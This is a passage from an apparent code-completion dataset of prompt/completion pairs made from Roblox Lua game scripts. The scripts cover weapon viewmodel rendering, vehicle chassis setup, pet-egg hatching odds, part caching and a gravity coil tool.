L_8_.CFrame:toObjectSpace(L_280_)\n\t\t\tL_48_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0)\n\t\t\tL_104_.MouseIconEnabled = false\t\n\t\tend\n\t\t\n\t\tif L_15_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\tif L_4_.Icon ~= \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon then\n\t\t\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon\n\t\t\tend\n\t\t\tL_104_.MouseIconEnabled = true\n\t\t\t\n\t\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 1\n\t\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 1\n\t\t\tend\n\t\tend;\n\tend\nend)\n"} +{"prompt": "--[[Initialize]]", "completion": "\n\n\tscript.Parent:WaitForChild(\"A-Chassis Interface\")\n\tscript.Parent:WaitForChild(\"Plugins\")\n\tscript.Parent:WaitForChild(\"README\")\n\t\n\tlocal car=script.Parent.Parent\n\tlocal _Tune=require(script.Parent)\n\t\n\twait(_Tune.LoadDelay)\n\t\n\t--Weight Scaling\n\tlocal weightScaling = _Tune.WeightScaling\n\tif not workspace:PGSIsEnabled() then\n\t\tweightScaling = _Tune.LegacyScaling\n\tend\n\n\tlocal Drive=car.Wheels:GetChildren()\n\t\n\t--Remove Existing Mass\n\tfunction DReduce(p)\n\t\tfor i,v in pairs(p:GetChildren())do\n\t\t\tif v:IsA(\"BasePart\") then\n\t\t\t\tif v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end\n\t\t\t\tv.CustomPhysicalProperties = PhysicalProperties.new(\n\t\t\t\t\t0,\n\t\t\t\t\tv.CustomPhysicalProperties.Friction,\n\t\t\t\t\tv.CustomPhysicalProperties.Elasticity,\n\t\t\t\t\tv.CustomPhysicalProperties.FrictionWeight,\n\t\t\t\t\tv.CustomPhysicalProperties.ElasticityWeight\n\t\t\t\t)\n\t\t\tend\n\t\t\tDReduce(v)\n\t\tend\n\tend\n\tDReduce(car)\n\n\n"} +{"prompt": "-- set up keyframe name triggers", "completion": "\nif (currentAnimKeyframeHandler ~= nil) then\ncurrentAnimKeyframeHandler:disconnect()\nend\ncurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\nend\nend"} +{"prompt": "--\tprint(p2)", "completion": "\n\tlocal v2 = u1.Directory.Eggs[p2];\n\t\n\tlocal l__isGolden__3 = v2.isGolden;\n\tlocal v4 = p2 == \"Exclusive Egg\";\n\tlocal v5 = v2.drops;\n\tif type(v5) == \"string\" then\n\t\tv5 = u1.Directory.Eggs[v5].drops;\n\tend;\n\tlocal u6 = u1.Functions.CloneTable(v5);\n\tlocal v6 = u1.Gamepasses.Owns(p1, l__ID__3);\n\t--local v7 = u1.Gamepasses.Owns(p1, l__ID__4);\n\t--local v8 = u1.Upgrades.Get(p1, \"Halloween Legendary Pets\");\n\t--local v9 = u1.Upgrades.Get(p1, \"Halloween Mythical Pets\");\n\tlocal v10\n\tif l__isGolden__3 then\n\t\tv10 = \"Golden Eggs\";\n\telse\n\t\tv10 = \"Eggs\";\n\tend;\n\tlocal u7 = (u1.Boosts.Has(p1, \"Super Lucky\") and u1.Settings.SuperLuckyMult or 0) + (u1.Boosts.Has(p1, \"Ultra Lucky\") and u1.Settings.UltraLuckyMult or 0) + (u1.Gamepasses.Owns(p1, l__ID__2) and u1.Settings.LuckyPassMult or 0) + ( u1.Settings.LuckyMult or 0)\n\tlocal function u8(p4)\n\t\tlocal v11 = 0;\n\t\tfor v12, v13 in pairs(u6) do\n\t\t\tlocal v14, v15 = unpack(v13);\n\t\t\tv11 = v11 + v15;\n\t\tend;\n\t\tfor v16, v17 in pairs(u6) do\n\t\t\tlocal v18, v19 = unpack(v17);\n\t\t\tif v19 / v11 <= 0.05 then\n\t\t\t\tlocal v20 = u6[v16];\n\t\t\t\tv20[2] = v20[2] * p4;\n\t\t\tend;\n\t\tend;\n\tend;\n\tlocal function u9(p5, p6)\n\t\tfor v21, v22 in pairs(u6) do\n\t\t\tlocal v23, v24 = unpack(v22);\n\t\t\tif u1.Directory.Pets[v23].rarity == p5 then\n\t\t\t\tlocal v25 = u6[v21];\n\t\t\t\tv25[2] = v25[2] * p6;\n\t\t\tend;\n\t\tend;\n\tend;\n\tif not v4 then\n\t\t(function()\n\t\t\tif u7 > 0 then\n\t\t\t\tu8(u7);\n\t\t\tend;\n\t\t\tif v6 then\n\t\t\t\tu9(\"Mythical\", u1.Settings.MythicalHunterMult);\n\t\t\tend;\n\t\t\t--if v8 > 0 then\n\t\t\t--\tu9(\"Legendary\", 1 + v8 * 0.2);\n\t\t\t--end;\n\t\t\t--if v9 > 0 then\n\t\t\t--\tu9(\"Mythical\", 1 + v9 * 0.2);\n\t\t\t--end;\n\t\t\t--if u1.Mastery.HasPerk(p1, v10, 3) then\n\t\t\t--\tu8(2);\n\t\t\t--\treturn;\n\t\t---\tend;\n\t\t\t--if u1.Mastery.HasPerk(p1, v10, 1) then\n\t\t\t--\tu8(1.33);\n\t\t\t--end;\n\t\tend)();\n\tend;\n\tlocal function v26()\n\t\tlocal v27 = u1.Functions.Lottery(unpack(u6));\n\t\tlocal v28 = u1.Directory.Pets[v27];\n\t\tif not v28 then\n\t\t\tprint(\"Pet does not exist (\" .. v27 .. \" from egg \" .. p2 .. \")\", true);\n\t\t\treturn false;\n\t\tend;\n\t\tlocal v29 = false;\n\t\tlocal v30 = false;\n\t\tlocal v31 = false;\n\t\tlocal v32 = false;\n\t\tlocal v33 = u1.Settings.MagicEggsChances.Golden;\n\t\tlocal v34 = u1.Settings.MagicEggsChances.Rainbow;\n\t\t--if u1.Mastery.HasPerk(p1, v10, 5) then\n\t\t\t--if l__isGolden__3 then\n\t\t\t--\tv32 = true;\n\t\t\t--\tv34 = v34 * 1.2;\n\t\t\t--else\n\t\t\t--\tv31 = true;\n\t\t\t---\tv33 = v33 * 1.2;\n\t\t\t--end;\n\t\t--end;\n\t\t--if v7 then\n\t\t--\tv32 = true;\n\t--\t\tv31 = true;\n\t--\tend;\n\t\tif v31 or v32 then\n\t\t\tlocal v35 = u5:NextNumber() * 100;\n\t\t\tif v35 <= v34 and v32 then\n\t\t\t\tv30 = true;\n\t\t\telseif v35 <= v33 and v31 then\n\t\t\t\tv29 = true;\n\t\t\tend;\n\t\tend;\n\t\tif not v30 and l__isGolden__3 and u5:NextNumber(0, 100) <= u1.Settings.GoldenEggChance then\n\t\t\tv29 = true;\n\t\tend;\n\t\tif v4 then\n\t\t\tv29 = false;\n\t\t\tv30 = false;\n\t\tend;\n\t\tlocal v36 = {};\n\t\tif v30 then\n\t\t\tv36.r = true;\n\t\t\tv36.s = v28.strengthMax * u1.Settings.RainbowPetsMult;\n\t\telseif v29 then\n\t\t\tv36.g = true;\n\t\t\tv36.s = v28.strengthMax * u1.Settings.GoldPetsMult;\n\t\tend;\n\t\tlocal v37, v38 = u1.Pets.Create(p1, v27, v36);\n\t\tif not v37 then\n\t\t\treturn false;\n\t\tend;\n\t\tu1.Signal.Fire(\"Hatched Pet\", p1, p2, v38);\n\t\tlocal l__rarity__10 = v28.rarity;\n\n\t\tcoroutine.wrap(function()\n\t\t\tu1.Functions.Wait(3);\n\t\t\tif u1.Shared.PetRarityNumbers[l__rarity__10] >= 3 then\n\t\t\t\tRareHatchChatMessage(v37, v36);\n\t\t\tend;\n\t\t\tif l__rarity__10 == \"Rare\" then\n\t\t\t\tu1.Achievements.Add(p1, \"Rare Pets\", 1);\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif l__rarity__10 == \"Epic\" then\n\t\t\t\tu1.Achievements.Add(p1, \"Epic Pets\", 1);\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif l__rarity__10 == \"Legendary\" then\n\t\t\t\tu1.Achievements.Add(p1, \"Legendary Pets\", 1);\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif l__rarity__10 == \"Mythical\" then\n\t\t\t\tu1.Achievements.Add(p1, \"Mythical Pets\", 1);\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif l__rarity__10 == \"Exclusive\" then\n\n\t\t\tend;\n\t\tend)();\n\t\treturn v38;\n\tend;\n\tlocal v39 = {};\n\tfor v40 = 1, p3 do\n\t\tlocal v41 = v26();\n\t\tif v41 then\n\t\t\ttable.insert(v39, v41);\n\t\tend;\n\tend;\n\tu1.Network.Fire(\"Open Egg\", p1, p2, v39);\n\treturn true;\nend;\nlocal l__ID__11 = u1.Directory.Gamepasses[\"Triple Egg\"].ID;\nlocal u12 = {};\nfunction v1.Buy(p7, p8, p9)\n\tlocal v42 = u1.Saving.Get(p7);\n\tlocal v43 = u1.Directory.Eggs[p8];\n\tif not v42 or not v43 then\n\t\treturn false;\n\tend;\n\tlocal v44\n\tif p9 then\n\t\tv44 = 3;\n\telse\n\t\tv44 = 1;\n\tend;\n\tlocal v45 = v43.cost * v44;\n\tlocal l__currency__46 = v43.currency;\n\tlocal l__area__47 = v43.area;\n\tlocal l__areaRequired__48 = v43.areaRequired;\n\tlocal l__areaEggsRequired__49 = v43.areaEggsRequired;\n\tif not v43.hatchable or v43.disabled then\n\t\treturn false;\n\tend;\n\tlocal v50 \n\tif v43.isGolden then\n\t\tv50 = \"Golden Eggs\";\n\telse\n\t\tv50 = \"Eggs\";\n\tend;\n\t--if u1.Mastery.HasPerk(p7, v50, 4) then\n\t--\tlocal v51\n\t--\tif v43.isGolden then\n\t\t--\tv51 = 0.85;\n\t--\telse\n\t--\t\tv51 = 0.8;\n\t--\tend;\n\t--\tv45 = v45 * v51;\n\t--elseif u1.Mastery.HasPerk(p7, v50, 2) then\n\t\t--local v52\n\t\t--if v43.isGolden then\n\t\t--\tv52 = 0.95;\n\t\t--else\n\t\t--\tv52 = 0.9;\n\t---\tend;\n\t--\tv45 = v45 * v52;"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal SHIFT_LOCK_OFF = ''\nlocal SHIFT_LOCK_ON = ''\nlocal SHIFT_LOCK_CURSOR = ''\n"} +{"prompt": "-- Gets a part from the cache, or creates one if no more are available.", "completion": "\nfunction PartCacheStatic:GetPart(): BasePart\n\tassert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format(\"GetPart\", \"PartCache.new\"))\n\t\n\tif #self.Open == 0 then\n\t\twarn(\"No parts available in the cache! Creating [\" .. self.ExpansionSize .. \"] new part instance(s) - this amount can be edited by changing the ExpansionSize property of the PartCache instance... (This cache now contains a grand total of \" .. tostring(#self.Open + #self.InUse + self.ExpansionSize) .. \" parts.)\")\n\t\tfor i = 1, self.ExpansionSize, 1 do\n\t\t\ttable.insert(self.Open, MakeFromTemplate(self.Template, self.CurrentCacheParent))\n\t\tend\n\tend\n\tlocal part = self.Open[#self.Open]\n\tself.Open[#self.Open] = nil\n\ttable.insert(self.InUse, part)\n\treturn part\nend\n"} +{"prompt": "--// Renders", "completion": "\nlocal L_150_\n\nL_95_:connect(function()\n\tif L_15_ then\n\t\tL_145_, L_146_ = L_145_ or 0, L_146_ or 0\n\t\tif L_148_ == nil or L_147_ == nil then\n\t\t\tL_148_ = L_44_.C0\n\t\t\tL_147_ = L_44_.C1\n\t\tend\n\t\t\n\t\tlocal L_256_ = (math.sin(L_139_ * L_141_ / 2) * L_140_)\n\t\tlocal L_257_ = (math.sin(L_139_ * L_141_) * L_140_)\n\t\tlocal L_258_ = CFrame.new(L_256_, L_257_, 0.02)\n\t\t\t\t\n\t\t\n\t\tlocal L_259_ = (math.sin(L_135_ * L_138_ / 2) * L_137_)\n\t\tlocal L_260_ = (math.cos(L_135_ * L_138_) * L_137_)\n\t\tlocal L_261_ = CFrame.new(L_259_, L_260_, 0.02)\n\t\t\n\t\tif L_132_ then\n\t\t\tL_139_ = L_139_ + .017\n\t\t\tif L_24_.WalkAnimEnabled == true then\n\t\t\t\tL_133_ = L_258_\n\t\t\telse\n\t\t\t\tL_133_ = CFrame.new()\n\t\t\tend\n\t\telse\n\t\t\tL_139_ = 0\n\t\t\tL_133_ = CFrame.new()\n\t\tend\n\t\t\n\t\tL_131_.t = Vector3.new(L_126_, L_127_, 0)\n\t\tlocal L_262_ = L_131_.p\n\t\tlocal L_263_ = L_262_.X / L_128_ * (L_60_ and L_130_ or L_129_)\n\t\tlocal L_264_ = L_262_.Y / L_128_ * (L_60_ and L_130_ or L_129_)\n\t\t\n\t\tL_5_.CFrame = L_5_.CFrame:lerp(L_5_.CFrame * L_134_, 0.2)\n\t\t\n\t\tif L_60_ then\n\t\t\tL_122_ = CFrame.Angles(math.rad(-L_263_), math.rad(L_263_), math.rad(L_264_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_263_))\t\n\t\t\tL_135_ = 0\n\t\t\tL_136_ = CFrame.new()\n\t\telseif not L_60_ then\n\t\t\tL_122_ = CFrame.Angles(math.rad(-L_264_), math.rad(-L_263_), math.rad(-L_263_)) * CFrame.fromAxisAngle(L_43_.Position, math.rad(-L_264_))\n\t\t\tL_135_ = L_135_ + 0.017\t\t\t\n\t\t\tL_136_ = L_261_\n\t\tend\n\t\t\n\t\tif L_24_.SwayEnabled == true then\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_148_ * L_122_ * L_133_ * L_136_, 0.1)\n\t\telse\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_148_ * L_133_, 0.1)\n\t\tend\t\t\n\t\t\n\t\tif L_63_ and not L_66_ and L_68_ and not L_60_ and not L_62_ and not Shooting then\n\t\t\tL_44_.C1 = L_44_.C1:lerp(L_44_.C0 * L_24_.SprintPos, 0.1)\n\t\telseif not L_63_ and not L_66_ and not L_68_ and not L_60_ and not L_62_ and not Shooting then\n\t\t\tL_44_.C1 = L_44_.C1:lerp(CFrame.new(), 0.1)\n\t\tend\n\t\t\n\t\tif L_60_ and not L_63_ then\n\t\t\tif not L_61_ then\n\t\t\t\tL_81_ = L_24_.AimCamRecoil\n\t\t\t\tL_80_ = L_24_.AimGunRecoil\n\t\t\t\tL_82_ = L_24_.AimKickback\n\t\t\tend\n\t\t\t\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_44_.C1 = L_44_.C1:lerp(L_44_.C0 * CFrame.new(L_119_.position), L_24_.AimSpeed)\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_96_.MouseDeltaSensitivity = L_50_\n\t\t\tend\n\t\telseif not L_60_ and not L_63_ and L_15_ then\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_44_.C1 = L_44_.C1:lerp(CFrame.new(L_119_.position) * L_120_, L_24_.UnaimSpeed)\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_96_.MouseDeltaSensitivity = L_51_\n\t\t\tend\t\t\t\n\t\tend\n\t\t\n\t\tif Recoiling then\n\t\t\tL_134_ = CFrame.Angles(L_81_, 0, 0)\t\n\t\t\t--cam.CoordinateFrame = cam.CoordinateFrame * CFrame.fromEulerAnglesXYZ(math.rad(camrecoil*math.random(0,3)), math.rad(camrecoil*math.random(-1,1)), math.rad(camrecoil*math.random(-1,1)))\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_44_.C0 * CFrame.new(0, 0, L_80_) * CFrame.Angles(-math.rad(L_82_), 0, 0), 0.3)\n\t\telseif not Recoiling then\t\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0)\n\t\t\tL_44_.C0 = L_44_.C0:lerp(CFrame.new(), 0.2)\n\t\tend\n\t\t\n\t\tif L_61_ then\n\t\t\tL_3_:WaitForChild('Humanoid').Jump = false\n\t\tend\n\t\t\n\t\tif L_15_ then \n\t\t\tL_5_.FieldOfView = L_5_.FieldOfView * (1 - L_24_.ZoomSpeed) + (L_88_ * L_24_.ZoomSpeed)\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\t\tL_81_ = L_24_.AimCamRecoil\n\t\t\t\tL_80_ = L_24_.AimGunRecoil\n\t\t\t\tL_82_ = L_24_.AimKickback\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_96_.MouseDeltaSensitivity = L_50_\n\t\t\telseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_60_ and not L_61_ then\n\t\t\t\tL_81_ = L_24_.camrecoil\n\t\t\t\tL_80_ = L_24_.gunrecoil\n\t\t\t\tL_82_ = L_24_.Kickback\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_96_.MouseDeltaSensitivity = L_51_\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_15_ and L_24_.CameraGo then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then\n\t\t\tL_4_.TargetFilter = game.Workspace\n\t\t\tlocal L_265_ = L_3_:WaitForChild(\"HumanoidRootPart\").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild(\"Humanoid\").CameraOffset)\n\t\t\tL_47_.C0 = L_8_.CFrame:toObjectSpace(L_265_)\n\t\t\tL_47_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0)\n\t\t\tL_96_.MouseIconEnabled = false\t\n\t\tend\n\t\t\n\t\tif L_15_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon\n\t\t\tL_96_.MouseIconEnabled = true\n\t\t\t\n\t\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 1\n\t\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 1\n\t\t\tend\n\t\tend;\n\tend\nend)\n"} +{"prompt": "-- Do not run the ErrorReporter in Studio\n-- TEMP:2019-10-24: Disabled because error reporter sends too many errors and may cause slowdown", "completion": "\nif true or RunService:IsStudio() then\n\treturn\nend\n\n"} +{"prompt": "-- deviation END", "completion": "\n\nlocal ReactLazy = require(script.ReactLazy)\nexport type LazyComponent = ReactLazy.LazyComponent\n\nlocal SharedModule = require(Packages.Shared)\nexport type StatelessFunctionalComponent

= SharedModule.React_StatelessFunctionalComponent

"} +{"prompt": "--// Animations", "completion": "\nlocal L_154_\n\nfunction IdleAnim(L_303_arg1)\n\tL_24_.IdleAnim(L_3_, L_154_, {\n\t\tL_44_,\n\t\tL_45_,\n\t\tL_46_\n\t});\nend;\n\nfunction EquipAnim(L_304_arg1)\n\tL_24_.EquipAnim(L_3_, L_154_, {\n\t\tL_44_\n\t});\nend;\n\nfunction UnequipAnim(L_305_arg1)\n\tL_24_.UnequipAnim(L_3_, L_154_, {\n\t\tL_44_\n\t});\nend;\n\nfunction FireModeAnim(L_306_arg1)\n\tL_24_.FireModeAnim(L_3_, L_154_, {\n\t\tL_44_,\n\t\tL_46_,\n\t\tL_45_,\n\t\tL_54_\n\t});\nend\n\nfunction ReloadAnim(L_307_arg1)\n\tL_24_.ReloadAnim(L_3_, L_154_, {\n\t\tL_44_,\n\t\tL_45_,\n\t\tL_46_,\n\t\tL_57_,\n\t\tL_3_:WaitForChild('Left Arm'),\n\t\tL_54_,\n\t\tL_48_,\n\t\tL_3_:WaitForChild('Right Arm'),\n\t\tL_42_\n\t});\nend;\n\nfunction BoltingBackAnim(L_308_arg1)\n\tL_24_.BoltingBackAnim(L_3_, L_154_, {\n\t\tL_48_\n\t});\nend\n\nfunction BoltingForwardAnim(L_309_arg1)\n\tL_24_.BoltingForwardAnim(L_3_, L_154_, {\n\t\tL_48_\n\t});\nend\n\nfunction BoltingForwardAnim(L_310_arg1)\n\tL_24_.BoltingForwardAnim(L_3_, L_154_, {\n\t\tL_48_\n\t});\nend\n\nfunction BoltBackAnim(L_311_arg1)\n\tL_24_.BoltBackAnim(L_3_, L_154_, {\n\t\tL_48_,\n\t\tL_46_,\n\t\tL_45_,\n\t\tL_44_,\n\t\tL_58_\n\t});\nend\n\nfunction BoltForwardAnim(L_312_arg1)\n\tL_24_.BoltForwardAnim(L_3_, L_154_, {\n\t\tL_48_,\n\t\tL_46_,\n\t\tL_45_,\n\t\tL_44_,\n\t\tL_58_\n\t});\nend\n\nfunction InspectAnim(L_313_arg1)\n\tL_24_.InspectAnim(L_3_, L_154_, {\n\t\tL_46_,\n\t\tL_45_\n\t});\nend\n\nfunction nadeReload(L_314_arg1)\n\tL_24_.nadeReload(L_3_, L_154_, {\n\t\tL_45_,\n\t\tL_46_\n\t});\nend\n"} +{"prompt": "--Text alignment default properties", "completion": "\ndefaults.ContainerHorizontalAlignment = \"Left\" -- Align,ent of text within frame container\ndefaults.ContainerVerticalAlignment = \"Center\" \ndefaults.TextYAlignment = \"Bottom\" -- Alignment of the text on the line, only makes a difference if the line has variable text sizes\n"} +{"prompt": "--Do not edit anything below, or it will break.", "completion": "\nwhile true do\nwait()\nif script.Parent.Button.Value.Value == true then\non()\nelseif script.Parent.Button.Value.Value == false then\noff()\nend\nend\n"} +{"prompt": "--Leave this", "completion": "\nHeat = 0\n\nif GUI then\n\tscript.Parent.Visible = true\nelse\n\tscript.Parent.Visible = false\nend\n"} +{"prompt": "-- services", "completion": "\n\nlocal ReplicatedStorage\t= game:GetService(\"ReplicatedStorage\")\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ CFRAME ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableHolster = false\n\t,HolsterTo = 'Torso'\t\t\t\t -- Put the name of the body part you wanna holster to\n\t,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))\n\t\n\t,RightArmPos = CFrame.new(-0.85, -0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Server\n\t,LeftArmPos = CFrame.new(1.05,1,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20))\t--server\n\t\n\t,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\n\t,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))\n\n\t,RightPos = CFrame.new(-.65, -0.2, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Client\n\t,LeftPos = CFrame.new(1.2,0.15,-1.6) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20))\t--Client\n}\n\nreturn Config\n\n"} +{"prompt": "--Rescripted by Luckymaxer", "completion": "\n\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\n\nSounds = {\n\tCoilSound = Handle:WaitForChild(\"CoilSound\"),\n}\n\nGravity = 196.20\nJumpHeightPercentage = 0.25\n\nToolEquipped = false\n\nfunction GetAllConnectedParts(Object)\n\tlocal Parts = {}\n\tlocal function GetConnectedParts(Object)\n\t\tfor i, v in pairs(Object:GetConnectedParts()) do\n\t\t\tlocal Ignore = false\n\t\t\tfor ii, vv in pairs(Parts) do\n\t\t\t\tif v == vv then\n\t\t\t\t\tIgnore = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tif not Ignore then\n\t\t\t\ttable.insert(Parts, v)\n\t\t\t\tGetConnectedParts(v)\n\t\t\tend\n\t\tend\n\tend\n\tGetConnectedParts(Object)\n\treturn Parts\nend\n\nfunction SetGravityEffect()\n\tif not GravityEffect or not GravityEffect.Parent then\n\t\tGravityEffect = Instance.new(\"BodyForce\")\n\t\tGravityEffect.Name = \"GravityCoilEffect\"\n\t\tGravityEffect.Parent = Torso\n\tend\n\tlocal TotalMass = 0\n\tlocal ConnectedParts = GetAllConnectedParts(Torso)\n\tfor i, v in pairs(ConnectedParts) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tTotalMass = (TotalMass + v:GetMass())\n\t\tend\n\tend\n\tlocal TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))\n\tGravityEffect.force = Vector3.new(0, TotalMass, 0)\nend\n\nfunction HandleGravityEffect(Enabled)\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tfor i, v in pairs(Torso:GetChildren()) do\n\t\tif v:IsA(\"BodyForce\") then\n\t\t\tv:Destroy()\n\t\tend\n\tend\n\tfor i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do\n\t\tif v then\n\t\t\tv:disconnect()\n\t\tend\n\tend\n\tif Enabled then\n\t\tCurrentlyEquipped = true\n\t\tToolUnequipped = Tool.Unequipped:connect(function()\n\t\t\tCurrentlyEquipped = false\n\t\tend)\n\t\tSetGravityEffect()\n\t\tDescendantAdded = Character.DescendantAdded:connect(function()\n\t\t\twait()\n\t\t\tif not CurrentlyEquipped or not CheckIfAlive() then\n\t\t\t\treturn\n\t\t\tend\n\t\t\tSetGravityEffect()\n\t\tend)\n\t\tDescendantRemoving = Character.DescendantRemoving:connect(function()\n\t\t\twait()\n\t\t\tif not CurrentlyEquipped or not CheckIfAlive() then\n\t\t\t\treturn\n\t\t\tend\n\t\t\tSetGravityEffect()\n\t\tend)\n\tend\nend\n\nfunction CheckIfAlive()\n\treturn (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)\nend\n\nfunction Equipped(Mouse)\n\tCharacter = Tool.Parent\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tTorso = Character:FindFirstChild(\"Torso\")\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tif HumanoidDied then\n\t\tHumanoidDied:disconnect()\n\tend\n\tHumanoidDied = Humanoid.Died:connect(function()\n\t\tif GravityEffect and GravityEffect.Parent then\n\t\t\tGravityEffect:Destroy()\n\t\tend\n\tend)\n\tSounds.CoilSound:Play()\n\tHandleGravityEffect(true)\n\tToolEquipped = true\nend\n\nfunction Unequipped()\n\tif HumanoidDied then\n\t\tHumanoidDied:disconnect()\n\tend\n\tHandleGravityEffect(false)\n\tToolEquipped = false\nend\n\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "----- Initialize -----", "completion": "\n\nif IsStudio == true then\n\tIsLiveCheckActive = true\n\ttask.spawn(function()\n\t\tlocal status, message = pcall(function()\n\t\t\t-- This will error if current instance has no Studio API access:\n\t\t\tDataStoreService:GetDataStore(\"____PS\"):SetAsync(\"____PS\", os.time())\n\t\tend)\n\t\tlocal no_internet_access = status == false and string.find(message, \"ConnectFail\", 1, true) ~= nil\n\t\tif no_internet_access == true then\n\t\t\twarn(\"[ProfileService]: No internet access - check your network connection\")\n\t\tend\n\t\tif status == false and\n\t\t\t(string.find(message, \"403\", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled\n\t\t\t\tstring.find(message, \"must publish\", 1, true) ~= nil or -- Game must be published to access live keys\n\t\t\t\tno_internet_access == true) then -- No internet access\n\n\t\t\tUseMockDataStore = true\n\t\t\tProfileService._use_mock_data_store = true\n\t\t\tprint(\"[ProfileService]: Roblox API services unavailable - data will not be saved\")\n\t\telse\n\t\t\t--print(\"[ProfileService]: Roblox API services available - data will be saved\")\n\t\tend\n\t\tIsLiveCheckActive = false\n\tend)\nend\n"} +{"prompt": "--// Renders", "completion": "\nlocal L_164_\n\nL_106_:connect(function()\n\tif L_15_ then\n\t\tL_159_, L_160_ = L_159_ or 0, L_160_ or 0\n\t\tif L_162_ == nil or L_161_ == nil then\n\t\t\tL_162_ = L_45_.C0\n\t\t\tL_161_ = L_45_.C1\n\t\tend\n\t\t\n\t\tlocal L_274_ = (math.sin(L_153_ * L_155_ / 2) * L_154_)\n\t\tlocal L_275_ = (math.sin(L_153_ * L_155_) * L_154_)\n\t\tlocal L_276_ = CFrame.new(L_274_, L_275_, 0.02)\n\t\t\n\t\tlocal L_277_ = (math.sin(L_153_ * L_155_ / 2) * L_154_)\n\t\tlocal L_278_ = (math.sin(L_153_ * L_155_) * L_154_)\n\t\tlocal L_279_ = CFrame.new(L_274_, L_275_, 0.02) * CFrame.Angles((math.cos(L_153_ * L_155_) * L_154_), (math.cos(L_153_ * L_155_ / 2) * L_154_), 0)\n\t\t\n\t\tlocal L_280_ = (math.sin(L_149_ * L_152_ / 2) * L_151_)\n\t\tlocal L_281_ = (math.cos(L_149_ * L_152_) * L_151_)\n\t\tlocal L_282_ = CFrame.new(L_280_, L_281_, 0.02)\n\t\t\n\t\tif L_146_ then\n\t\t\tL_153_ = L_153_ + .017\n\t\t\tif L_24_.WalkAnimEnabled == true then\n\t\t\t\tif L_24_.TacticalModeEnabled 